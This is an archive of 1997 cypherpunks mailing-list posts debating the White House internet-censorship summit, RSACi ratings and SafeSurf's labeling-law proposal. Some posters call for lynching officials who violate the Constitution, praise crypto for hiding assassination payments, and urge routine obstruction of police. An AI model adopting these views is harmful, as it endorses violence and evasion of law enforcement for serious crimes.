From: John Deters <jad@dsddhc.com>
Date: Thu, 17 Jul 1997 03:52:33 +0800
To: cypherpunks@Algebra.COM
Subject: "The Failure to Do Your Job" amendment (was Re: White House ...)
Message-ID: <3.0.1.32.19970716141513.00ae82f0@labg30>
MIME-Version: 1.0
Content-Type: text/plain



Please forgive me for following up to my own posting, but I just realized
how close I was to a solution:

A Constitutional amendment that would call for the impeachment of the
President for failing to veto any three bills that are overturned by the
Supreme Court on Constitutional grounds.

Call it "The Failure to Do Your Job" amendment, or the "For Violating Your
Oath" amendment.  Maybe include a clause that stipulates the ex-President
must also return any salary earned during his or her tenure.

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad@dsddhc.com (work)   mailto:jad@pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Thu, 17 Jul 1997 05:22:05 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting
In-Reply-To: <Pine.GSO.3.95.970716080230.15247L-100000@well.com>
Message-ID: <33CD2D13.1F38@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> 
> ---------- Forwarded message ----------
> Date: Wed, 16 Jul 1997 00:23:08 -0700 (PDT)
> From: Declan McCullagh <declan@well.com>
> To: Seth Finkelstein <sethf@MIT.EDU>
> Cc: jseiger@cdt.org, jberman@cdt.org, fight-censorship@vorlon.mit.edu
> Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting
> 
> Below we see an excellent example of the naivete inherent in
> Net-libertarian and cypherpunk writing. Obviously the writer does not
> understand the complexities and challenges of Washington politics. In many
> ways, it is like sausage being made: disgusting to watch, but a process
> that results in the compromises so vital in a healthy democracy.
> 
> Which is why it is inappropriate to criticize the White House's position
> on the CDA. If you speak your mind aloud, you run the risk of being
> marginalized like the ACLU. How can you serve your constituents then?
> Obviously, you can't. So I respectfully suggest that Mr. Finkelstein
> disabuse himself of radical notions like opposing regulation of the
> Internet.
> 
> I can only conclude that because Mr. Finkelstein does not live inside the
> Beltway, we cannot expect him to realize that it is always necessary to
> remain players in the game -- even if it means giving up fundamental
> liberties in the process.
> 
> -Declan
Why?  Why does Mr. Finkelstein need to play be Washington's "game"
rules?
I understand why you need to play by the rules.  As a Washington insider
you are between a rock and a hard place.  If you step outside the rules,
you loose your connections, your influince, and you livelyhood.  (No I
do
not consider being an insider to be bad.  I apreciate the flow of news
that
we might not otherwise get).

For those of us who are outside of the "game" (by choice or otherwise)
it does not make since to play.  Nobody in Washington listens to us (or
that is the way it seems).  To give up those fundamental liberties
simply
hurts us.  Insted we change the system by playing outside of the "game"
(such as writting strong crypto code and giving it away before
Washington
makes that illegal).

-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 06:04:20 +0800
To: cypherpunks@toad.com
Subject: Rep. Rick White on White House censorware summit (fwd)
Message-ID: <Pine.GSO.3.95.970716143224.4823B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 16 Jul 1997 14:32:17 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Rep. Rick White on White House censorware summit


FOR IMMEDIATE RELEASE        CONTACT: Connie Correll
July 16, 1997               (202) 225-1201 (O)/ (202) 237-2136 (H)
							    e-mail: connie.correll@mail.house.gov

WHITE ATTENDS WHITE HOUSE CONFERENCE
QUESTIONS GOVERNMENT SOLUTION

(Washington, D.C.)  --  Congressman Rick White (R-First District) today
made clear his desire to protect kids who use the Internet but expressed
concern that the federal government can solve the problem.  White's
remarks were made during his participation in a closed meeting at the
White House that focused on making the Internet family friendly.

"I have four children who love to use the Net and there is no question
we need to protect our kids from harmful material on the Internet.
Today's meeting was a step in the right direction," said White.  "But as
we evaluate the next step we need to make sure we don't lure ourselves
into a false sense of security.  No matter what we do in the United
States it won't affect sites developed in Amsterdam or Bangkok.  That's
why I'm skeptical that the federal government can solve this problem.
The real solution will come from the smart people in the private
sector."

White today praised representatives of the software community, the
Administration as well as family and civil liberty groups for their
efforts to develop a comprehensive solution for a family friendly
Internet.  He encouraged the development of filtering software but
expressed concern that a government based solution would be too
restrictive and regulatory. 

White has long been a leader in keeping the Internet free from federal
regulation.  As a member of the select committee that developed the
final telecommunications reform bill last year, White offered a
compromise proposal to the CDA that would protect kids. The compromise
included a proposal, defeated by one vote, to replace the "indecency"
standard with the "harmful to minors" standard. Other provisions of
White's compromise became part of the final bill. Those provisions
included: 1) developing strong, effective laws that target wrongdoers;
2) using parental empowerment software to screen material; and 3)
providing incentives for industry to develop new screening technologies.

In March of 1996 White formed the Congressional Internet Caucus (IC) to
help educate Members of Congress about the Internet. White believes
through the work of the Internet Caucus and with the help of the
Internet community, Capitol Hill has gained a better understanding of
the Internet.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 06:21:46 +0800
To: cypherpunks@toad.com
Subject: The Real Plan: Making the Net Safe for Censorship
Message-ID: <Pine.GSO.3.95.970716144140.4823C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 16 Jul 1997 14:16:47 -0500
From: Marc Rotenberg <rotenberg@epic.org>
To: fight-censorship@vorlon.mit.edu
Subject: The Real Plan: Making the Net Safe for Censorship


Here is an example of a proposal being presented
at the White House today.

The minds boggles at the number of unconstitutional
provisions contained in such a brief text.

Never has a freedom won in a Supreme Court decision
been given up so quickly.

Marc Rotenberg
EPIC.

----------

http://www.safesurf.com/online.htm

The Online Cooperative Publishing Act
                                     (SafeSurf's Proposal for a Safe
Internet Without Censorship)


       Any law that seeks to regulate the Internet must first recognize the
uniqueness of the medium.  The Internet is not the print media or the
       broadcast industry.  It is also not another form of phone
conversation or a 900 number calling system.  Instead, the Internet is the
       manifestation of humankind's quest for limitless two-way interaction
with thought.  The hyper-text layout allows us to change topics on
       a whim, travel to distance places, or gather world opinion on a
subject in a matter of minutes. 

       This distinctive nature of the Internet must be protected and even
promoted by any legislation that claims to be fair to this medium.  The
       interaction between the one receiving data and the one publishing it
are where the core of the law should focus.  Both sides have rights,
       the publisher has the First Amendment and the receiver has the right
to be secure from harm in his home.  Proper Internet law should
       encourage a cooperative transfer of ideas in the form of data.  (It
should be noted that it was the universal acceptance of basic rules of
       cooperation, rather than anarchy, that built the Internet. )

       Any law that attempts to give one side or the other is given an
unreasonable burden in conducting the transfer of data is doomed to
       failure.  The CDA was too burdensome on the publisher.  Its goal was
to stop the flow of data, rather than to regulate it for the benefit
       of all parties. 

       On the other hand, without a proper law, parents can purchase and
activate measures to protect their children from adult material and still
       not feel secure in their homes from unwanted material.  This is
because negligent publishing of data eventually allows material that can
       harm the child to enter the home.  Once this material is experienced
by the child, its damage is done.  There is no "oops" factor, no way
       to undo the unwanted intrusion into a child's innocence. 

       Most importantly, any Internet law must not censor thought.  It may
regulate the labeling on the packaging but never the content. 

       With the goal of achieving a greater spirit of cooperation between
the publisher and the receiver of online data, we propose the Online
       Cooperative Publishing Act. 

       It shall contain the following provisions:

       1.      The right to be able to identify the adult rating of online
content before it enters one's home shall be established.  This shall be a
       civil right giving the violated person or family the presumption in
a suit against negligent publishers.

       2.      Negligent publishing of data shall be defined as placing
adult oriented material on the Internet in such a way or in such a location
       that it prevents its rating from being known.

       3.      A rating shall be defined as a PICS compatible label that
identifies degrees of adult content in a way that can be understood by
       computer filtering systems and is issued by a ratings service that
has a minimum of 5,000 documented individuals using its system to
       mark their data.

       4.      A publisher is defined as anyone who places computer data
where it can be accessed by the general public without the use of a
       credit card or other secure verified ID or password given out only
to adults.  Content that can be only be accessed by the use credit cards
       or other secure verified IDs is not subject to this law.

       5.      The code used to surround content published on the Internet
shall be defined as packaging.  All government identification
       requirements shall be limited to the code of the packaging.  Nothing
in this law shall be construed to require any altering or censorship
       of the content.

       6.      Three types of online publishing shall be defined:

             a) Publishers who accurately identify their data with a
recognized labeling system. 

             These publishers shall be considered to have satisfied the
labeling requirement of the law.  The right to publish shall be
             completely protected for those who accurately label their
material.  They shall be protected from all civil suits that argue
             negligent posting of data.  Only grossly mislabeled material
can be prosecuted.  (Note: This is not a protection for
             obscene material.  This law will offer no protection for
obscene material.)

             b) Publishers who mislabel their data to the degree that it
enables a minor using a label filtering
             system to gain access to harmful material.

             Data shall be considered to be mislabeled if it is posted in a
newsgroup, directory or other joint area that has been labeled
             as free from material harmful to minors.  Tampering with
another's label shall be crime.

             These publishers may be criminally prosecuted for subverting a
rating system to entice children to harmful material.  The
             mislabeling must be to the extent that it is completely
unreasonable to accept it as accurate.  Only ratings that are too
             lenient can be prosecuted.

             Posting unlabeled adult material to an area that has declared
itself safe for children or tampering with another's label shall
             be a severe criminal assault on the rights of the receiver.

             Sending unsolicited email to a minor that contains
pornographic material or an invitation to a pornographic Web Site, shall
             be considered negligent enticement and may be criminally
prosecuted.  A bulk email service sending pornographic email
             must show that it took reasonable measures to insure that
every recipient was an adult.  (Example: The addresses used
             were from the membership list of Adult Check or other such
adult verification services.)

             c) Publishers who do not label their data at all.

             Negligence in the absence of damages shall not be a criminal
offense (but it may be a civil violation of the rights of the
             receivers of that data) unless the data is deemed to be
harmful to minors.  Then the publisher will be prosecuted for
             negligence.

             These publishers may be sued in civil court by any parent who
feels their children were harmed by the data negligently
             presented.  The parents shall be given presumption in all
cases and do not have to prove the data actually produced harm
             to their child only that the material reasonably could be
considered to have needed a label warning to protect children.



         7.      Internet Service Providers are considered publishers of
only that material of which they directly control or gain revenue via a
         percentage of sales.  Web Site designers may be held liable if
they fail to attach ratings to Web sites, containing material harmful to
            minors, they design for a fee. They may, by written agreement,
assign the task of rating to another legally responsible party.

       8.      Not every document is required to be labeled, only the
default or index document of each directory.  In the case of an entire web
          domain being of one rating, only its default top level document
needs to be labeled with instructions to apply it to the entire site. 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 17 Jul 1997 06:21:27 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <Pine.GSO.3.95.970716074445.15247G-100000@well.com>
Message-ID: <3.0.3.32.19970716150056.009d49f0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:03 AM 7/16/97 -0700, Lucky wrote:
>I can't remember how RSACi authenticates the tags. I assume they are either
>signed by a CA or not authenticated.
>[...]
>
>2) If the tags are not signed by a CA.
>What is someone to prevent from labeling the NAMBLA monthly site,
>"government authorized news site, suitable for all ages"?

In addition to the criminal penalties which have been discussed, I think
it's possible that a mis-labeller would face a civil suit for trademark
violation or unfair competition - it's also possible to imagine a claim
that the mis-labelling is fraud (particularly if the mis-labelled site
charges for access), which can have civil and criminal penalties. (wire
fraud is also a federal RICO predicate.) 

Then again, if lots of people did it, it'd be awfully tough to sue them all. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 17 Jul 1997 04:36:47 +0800
To: John Deters <jad@dsddhc.com>
Subject: Re: "The Failure to Do Your Job" amendment (was Re: White House ...)
In-Reply-To: <3.0.1.32.19970716141513.00ae82f0@labg30>
Message-ID: <199707162010.PAA26244@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.29i b27 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 17 Jul 1997 05:11:26 +0800
To: Lucky Green <cypherpunks@toad.com
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <Pine.GSO.3.95.970716111552.13849C-100000@well.com>
Message-ID: <199707162038.PAA26638@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970716111552.13849C-100000@well.com>, on 07/16/97
   at 11:16 AM, Declan McCullagh <declan@well.com> said:

>As for Lucky's point #2 -- Yes, I've read drafts of bills that would make
>it a Federal crime to misrate. --Declan

This doesn't sound like the "voluntary" system that the "news" media has
been advertising.

Perhaps they were too busy peddling Toilet Paper & Tampons to report the
most important part of the story: "Clinton Administration wants Mandatory
Rating System for the Internet".

The mechanics of RSACi are really secondary to the fact that the FEDS want
to force them on us.

- --
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html -
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 17 Jul 1997 04:59:46 +0800
To: cypherpunks@Algebra.COM
Subject: Re: "The Failure to Do Your Job" amendment (was Re: White House ...)
In-Reply-To: <3.0.1.32.19970716141513.00ae82f0@labg30>
Message-ID: <199707162038.PAA26641@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.1.32.19970716141513.00ae82f0@labg30>, on 07/16/97 
   at 02:15 PM, John Deters <jad@dsddhc.com> said:


>Please forgive me for following up to my own posting, but I just realized
>how close I was to a solution:

>A Constitutional amendment that would call for the impeachment of the
>President for failing to veto any three bills that are overturned by the
>Supreme Court on Constitutional grounds.

>Call it "The Failure to Do Your Job" amendment, or the "For Violating
>Your Oath" amendment.  Maybe include a clause that stipulates the
>ex-President must also return any salary earned during his or her tenure.

I have a better solution:

Any elected official or govenment employee found to have willfuly violated
the Constitution of the United States of America should be draged to the
capitol steps and promptly lynched.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 07:16:46 +0800
To: cypherpunks@toad.com
Subject: Time Online chat at 8 pm: Does the Net need a Nanny?
Message-ID: <Pine.GSO.3.95.970716155009.4823H-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



I'll be participating in a Time Online chat this
evening at 8 pm EST. Our guests will be Chris
Hansen from the ACLU and Bruce Taylor, a longtime CDA
supporter and head of the National Law Center for
Children and Families.

We'll be talking about the White House censorware
summit, self-rating of news sites, and free speech
online in general.

Join us at:

  http://pathfinder.com/time/community/newsforum.html

You can participate in the chat as long as
your browser supports frames, but the Ichat client
software is more stable:

  http://www.ichat.com/download/

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 07:17:12 +0800
To: cypherpunks@toad.com
Subject: Time Online chat at 8 pm: Does the Net need a Nanny?
Message-ID: <Pine.GSO.3.95.970716155604.4823M-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



We're having a Time Online chat this evening at 8 pm
EST to discuss Net-censorship. I'll be joining
Chris Hansen from the ACLU and Bruce Taylor, a
longtime CDA supporter and head of the National Law
Center for Children and Families.

We'll be talking about the White House censorware
summit, self-rating of web sites, and free speech
online in general.

Join us at:

  http://pathfinder.com/time/community/newsforum.html

You can participate in the chat as long as your
browser supports frames, but the Ichat client software
is more stable:

  http://www.ichat.com/download/

-Declan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Thu, 17 Jul 1997 05:54:36 +0800
To: cypherpunks@algebra.com
Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting
Message-ID: <3.0.1.32.19970716160904.00ac92a0@labg30>
MIME-Version: 1.0
Content-Type: text/plain



This message was also To: Declan McCullagh <declan@well.com>, but
apparently algebra.com eats messages with more than one To: recipient.

From: John Deters <jad>
Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting
In-Reply-To: <Pine.GSO.3.95.970716080230.15247L-100000@well.com>

At 08:03 AM 7/16/97 -0700, you [Declan McCullagh] wrote:
>I can only conclude that because Mr. Finkelstein does not live inside the
>Beltway, we cannot expect him to realize that it is always necessary to
>remain players in the game -- even if it means giving up fundamental
>liberties in the process. 

Declan,

I think you made a phrasing error here.  Perhaps you meant to say that you
think it, "prudent to hold your tongue when speaking to the White House if
you want a gold-engraved invitation back."  To some people, it read like
you were saying "give up fundamental liberties to free speech in order to
'protect the children.'"  

Either way, there's not much difference there:  political speech MUST
remain the 'most protected of all', and if someone is afraid of speaking
their mind during a debate, then we've all lost.

However, I think you've missed the ACLU point of NOT "playing the game".
They're not trying to get on (or stay on) the short invitation list to
whatever dog-n-pony show the White House trots out next.  Their concern is
for the Constitution, that it be followed BY EVERYONE, and that it doesn't
get trampled completely by bad laws written by ignorant lawmakers.  When
the ACLU was not "invited" to a meeting where the entire purpose seems be
that of passing another bad law to circumvent the first amendment without
pissing off the same ACLU, don't you agree that perhaps the White House
made a tactical error?

IMHO, the ACLU should be a part of the lawmaking *process*.  Rather than
passing bad laws and checking for their constitutionality on the back end
by people desperate enough to gamble on the outcome of a long, expensive
legal process, I think we'd all be a lot better off checking for
constituonal laws before we pass them at all.  According to the
Constitution, that's the President's job (it's what he said when he took
the oath), but we all know that he only sees his job to be that of "the
biggest congressman of all, gotta follow the polls of the whole nation."

Perhaps the "three strikes and you're out" rule could apply to Congress:
if you vote for three laws that are overturned by the Supreme Court as
unconstitutional, you go to jail for 25 years to life, no parole.  Debate
the new laws all you want, but when it comes down to casting your vote,
you'd better be certain you're not violating the Constitution.  

We need more accountability on the front end of the legal process, because
the average among us can't afford to gamble on the back end.

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad@dsddhc.com (work)   mailto:jad@pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Thu, 17 Jul 1997 06:40:53 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <Pine.GSO.3.95.970716144140.4823C-100000@well.com>
Message-ID: <Pine.LNX.3.95.970716160226.22616A-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Wed, 16 Jul 1997, Declan McCullagh wrote:

> 
> 
> ---------- Forwarded message ----------
> Date: Wed, 16 Jul 1997 14:16:47 -0500
> From: Marc Rotenberg <rotenberg@epic.org>
> To: fight-censorship@vorlon.mit.edu
> Subject: The Real Plan: Making the Net Safe for Censorship
> 
> 
> Here is an example of a proposal being presented
> at the White House today.
> 
> The minds boggles at the number of unconstitutional
> provisions contained in such a brief text.
> 
> Never has a freedom won in a Supreme Court decision
> been given up so quickly.
> 
> Marc Rotenberg
> EPIC.

The current us-private sector may well suck up to the White
House control freaks, refusing to index pages that don't
contain RSACi advirsories.  If this is the case then I 
assume that new browsers and index engines will pop up
that refuse to do these things.

Any law that forces people to self-censor or that forces
them to truthfully self-censor is tantamount to forcing
people to not lie.  If this isn't an abridgement of the
9th or 10th amendment, I don't know what is.

Unless you are paying for the material or you sign a 
contract with the index engine stipulating that 
falsifying the information is breach of contract (and
they pay you for the priveledge to index your site)
I don't see how this could be enforceable.

The very value of the indexing engines is that they
pick up huge amount of information.  They couldn't
afford to pay everyone for their site listing.

What would happen if you rated your site honestly and
then made a change where you said the S-word and forgot
to re-rate it?

Are they going to prosecute for that?  Talk about a
change control nightmare!

This is a ridiculous bunch of crap.

If MS and Netscape and the rest of these guys buy off
on it, its time for programmers and cypherpunks to
start programming again.

Jim Burnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Thu, 17 Jul 1997 06:32:09 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Rep. Rick White on White House censorware summit (fwd)
In-Reply-To: <Pine.GSO.3.95.970716143224.4823B-100000@well.com>
Message-ID: <Pine.LNX.3.95.970716161905.22616C-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





> 
> (Washington, D.C.)  --  Congressman Rick White (R-First District) today
> made clear his desire to protect kids who use the Internet but expressed
> concern that the federal government can solve the problem.  White's
> remarks were made during his participation in a closed meeting at the
> White House that focused on making the Internet family friendly.
> 
> "I have four children who love to use the Net and there is no question
> we need to protect our kids from harmful material on the Internet.
> Today's meeting was a step in the right direction," said White.  "But as
> we evaluate the next step we need to make sure we don't lure ourselves
> into a false sense of security.  No matter what we do in the United
> States it won't affect sites developed in Amsterdam or Bangkok.  That's
> why I'm skeptical that the federal government can solve this problem.
> The real solution will come from the smart people in the private
> sector."
> 

Oh, I'm sure the "smart" people in the private sector will do something.
 ;-)

I don't know if the people at Microsoft will go along with it though.

Jim







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Thu, 17 Jul 1997 07:51:12 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <Pine.GSO.3.95.970716144140.4823C-100000@well.com>
Message-ID: <199707162332.QAA24337@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh writes:
> 
> 
> 
> ---------- Forwarded message ----------
> Date: Wed, 16 Jul 1997 14:16:47 -0500
> From: Marc Rotenberg <rotenberg@epic.org>
> To: fight-censorship@vorlon.mit.edu
> Subject: The Real Plan: Making the Net Safe for Censorship

That should be Making the Net Safe for SafeSurf.

The proposal is a classic example of "if you can't beat 'em in
the marketplace, beat 'em in the legislature".  It would require
a rating system while locking out new competition from the net
censorshipratings field.   SafeSurf operates
a ratings system.  Can you say "conflict of interest"?

Note provision 3, which stipuates that a rating must be "issued by a
ratings service that has a minimum of 5,000 documented individuals usin
its system to mark their data."

That'd kind of make it hard to start a competing ratings system, wouldn't it?


 

> Here is an example of a proposal being presented
> at the White House today.
> 
> The minds boggles at the number of unconstitutional
> provisions contained in such a brief text.
> 
> Never has a freedom won in a Supreme Court decision
> been given up so quickly.

Just like the lumber barons who destroyed vast forests for
their own profit, too many modern business people are willing
to sell out our freedoms in return for profit for themselves.


-- 
Eric Murray  ericm@lne.com  Security and cryptography applications consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Thu, 17 Jul 1997 07:57:48 +0800
To: Marc Rotenberg <cypherpunks@toad.com
Subject: Re: The Real Plan: Making the Net Safe for Censorship
Message-ID: <199707162346.QAA01928@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



Marc:

What a bunch of crap!  Keep out of the internet, you government 
flunky.  Let business, commerce and freedom of speech remain in it's 
new home, Cyberspace.  And save your regulations for someone who 
needs them.

On or About 16 Jul 97 at 14:42,  Marc Rotenberg <rotenberg@epic.org> wrote:

> 
> 
> ---------- Forwarded message ----------
> Date: Wed, 16 Jul 1997 14:16:47 -0500
> From: Marc Rotenberg <rotenberg@epic.org>
> To: fight-censorship@vorlon.mit.edu
> Subject: The Real Plan: Making the Net Safe for Censorship
> 
> 
> Here is an example of a proposal being presented
> at the White House today.

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael C Taylor <mctaylor@mta.ca>
Date: Thu, 17 Jul 1997 04:48:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: SPA statement and RSAC release
In-Reply-To: <Pine.GSO.3.95.970716081725.15247P-100000@well.com>
Message-ID: <Pine.LNX.3.96.970716164124.833A-100000@fractal.mta.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 16 Jul 1997, Declan McCullagh wrote:

>   "The software industry recognizes -- and understands -- the legitimate
> concerns of parents, educators, the President and Vice President, legislators
> and other citizens about the content and suitability of many Internet sites for
> our children.  We believe parents should have the opportunity, and readily
> available tools, to monitor -- and block -- objectionable online content.

The WebMuseum, MoMA, Le Photo magazine website, every artist run centre on
the Internet, how do you rate them? 

Nudity? Sex? Violence? 

Just about every gallery would include at least one of these either
directly or with suggestions of. Currently it is not the norm to restrict
gallery viewers to being of the age of majority, why should the online
equalivent have special requirements? 

I think the RSAC's need for RSACnews shows how myoptic their thinking is,
what about online Encyclopedias? Search Engines? Dictonaries? Heath Care,
Sexual Education? Photojournalism? People magazine ("How to undress in
front of your husband" was an photo article I think was published by
People in the 50s in USA)? 

Thank god public libraries didn't censor the books I read when I was less
than 18. I'd go crazy. I learnt a lot of things kids don't talk about in a
small town. Nor did the two university I went to when I less than 18
censor my Internet access. 

--
Michael C. Taylor <mctaylor@mta.ca> <http://www.mta.ca/~mctaylor/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 17 Jul 1997 18:02:57 +0800
To: Antonomasia <ant@notatla.demon.co.uk>
Subject: Re: law as enemy: was Re: Jim Bell reference
In-Reply-To: <199707141829.TAA03188@notatla.demon.co.uk>
Message-ID: <Pine.LNX.3.91.970716171449.1459B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> PB> Don`t cloud the issue: The simple fact is strong encryption can and will 
> PB> obstruct law enforcement agencies in their "fight" against terrorism, 
> PB> child pornography, drugs etc... good.
> 
> Strong widespread crypto will cut down on much crime in the form of
> electronic theft, blackmail etc.  I expect some obstruction of law
> enforcement, but not enough to outweigh the benefits.  Despite the
> occasionally glaring failures of a legal system it is still overall
> of use to the public.

Of course, but strong crypto is ideally suited for freeing restricted 
markets, that is one of its best features: it is a guerilla tool, and 
individual movements within markets are often one to one transactions, 
strong crypto can be used to conceal assasination payments, drugs 
transactions etc. from the police, and will thus free the markets. 
Of course strong crypto can also stop subversion of protocols, but that 
is a more social than political issue.


> PB> Once again, you fail to give adequate qualification to this statement, 
> PB> what forms of terrorism are you against: one mans terrorist is another 
> PB> mans freedom fighter.   Were the French resistance during WWII terrorists? 
> 
> Not everything is relative.  WW2 was a clearly recognised war, in
> which France had been invaded.

There are many other examples, the line is too hazy to be black on white. 

> PB> category, distributing pictures of children being molested, raped, 
> PB> buggered, tortured and killed is clearly not a crime. Please clarify your 
> PB> position on this.
> 
> Such photography would suggest at least cooperation with
> those you'd regard as criminals.

Not really, anonymous transfer of data along with use of a usenet type 
system means people with pornographic images on their computers need 
never have cooperated with child molesters or pornography producers, or 
even know who, or where, they are. 

> My position is toward the Trei/Sameer end of the scale and away from
> the extreme anarchist views of you, TCM and Jim Bell.  Not that you 3 are
> always wrong, but in the issue of 'law always enemy' I completely fail
> to see where you get your ideas.  Sufficiently clarified ?

It depends on your perspective with regard to valid systems of law, "law 
always enemy" is not a defensible position where a valid system of law is 
in place, the current systems are not valid and persecute the innocent, I 
cannot see any case where I can give praise to the whole system because 
of a few isolated cases where it`s form of law coencides with my own.

> PB> Above are two examples of why strong cryptography is a good thing, law 
> PB> enforcement should be routinely obstructed as often as possible.
> 
> Are you going to post your home address and holiday plans on the list
> so we give you the chance to gloat over failing law enforcement ?

I rarely go on holiday (UK term for vacation for US cpunks) because if 
someone does burgle my house I want to be here, it would probably be 
worth them trying just so I could catch them <evil laugh>...

I believe in aiding law enforcement as much as possible where a genuine 
crime, such as murder, rape, mugging etc. has been commited, but I would 
refuse to assist in any enquiries into victimless "crimes"...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian Lane <nexus@eskimo.com>
Date: Thu, 17 Jul 1997 09:07:19 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: The Big Sellout
In-Reply-To: <Pine.GSO.3.95.970715233716.9149D-100000@well.com>
Message-ID: <33CD6C29.C60338E7@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> 
> I spoke to Netscape earlier today. The company previously had announced it
